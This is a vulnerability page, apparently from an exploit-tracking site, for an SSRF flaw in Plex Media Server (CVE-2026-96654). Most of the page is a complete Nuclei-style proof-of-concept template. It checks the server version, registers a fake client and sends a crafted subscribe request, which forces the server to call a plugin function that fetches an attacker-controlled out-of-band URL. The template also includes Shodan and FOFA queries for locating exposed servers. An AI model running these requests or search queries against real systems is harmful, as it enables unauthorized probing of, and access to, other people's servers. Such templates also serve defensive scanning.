CVE-2026-96654: Plex Media Server < 1.43.3.10861 - Server Side Request Forgery

2026-11-14 PoC Public

Description

Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.

Details

CVE
CVE-2026-96654 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-96654

info:
  name: Plex Media Server < 1.43.3.10861 - Server Side Request Forgery
  author: maulanawirawan
  severity: medium
  description: |
    Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
  impact: |
    Attackers can invoke other plugins' functions with arbitrary parameters, potentially leading to unauthorized actions or data access.
  remediation: |
    Upgrade to version 1.43.3.10861 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-96654
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96654
    - https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
    - https://zmain.info/blog/plex2shell
    - https://github.com/code-zm/plex2shell
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-96654
    cwe-id: CWE-84
  metadata:
    verified: true
    max-request: 4
    vendor: plex
    product: plex_media_server
    shodan-query: port:32400 "X-Plex-Protocol"
    fofa-query: port="32400" && header="X-Plex-Protocol"
  tags: cve,cve2026,plex,oob,unauth,plex2shell,kev,vkev

variables:
  cid: "{{rand_text_alpha(10)}}"
  tok: "{{rand_text_alpha(12)}}"
  poc: "{{to_lower(rand_text_alpha(3))}}"

flow: |
  (function() {
    if (!http(1)) return false;
    var ver = template["plex_version"];
    if (!ver) return false;
    var p = ver.split(/[.\-]/);
    if (p.length < 4) return false;
    var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];
    var vuln = (ma < 1) ||
               (ma === 1 && mi < 43) ||
               (ma === 1 && mi === 43 && pa < 3) ||
               (ma === 1 && mi === 43 && pa === 3 && build < 10861);
    if (!vuln) return false;
    try { http(2); } catch (e) {}
    if (!http(3)) return false;
    return http(4);
  })();

http:
  - raw:
      - |
        GET /identity HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "MediaContainer", "machineIdentifier")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plex_version
        internal: true
        part: body
        group: 1
        regex:
          - '<MediaContainer[^>]+\sversion="([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'

  - raw:
      - |
        @timeout: 5s
        GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F{{interactsh-url}}%2523&port=1337&commandID=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 4b0a00483046022100fa7c836eeeeda25fc3fd5c3895d543780ab353af665ccac85e135a26034890ea022100deb89802c30bf21acc77daba2b25f88f36ca19151435e165fe01e53d6c06aa3a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life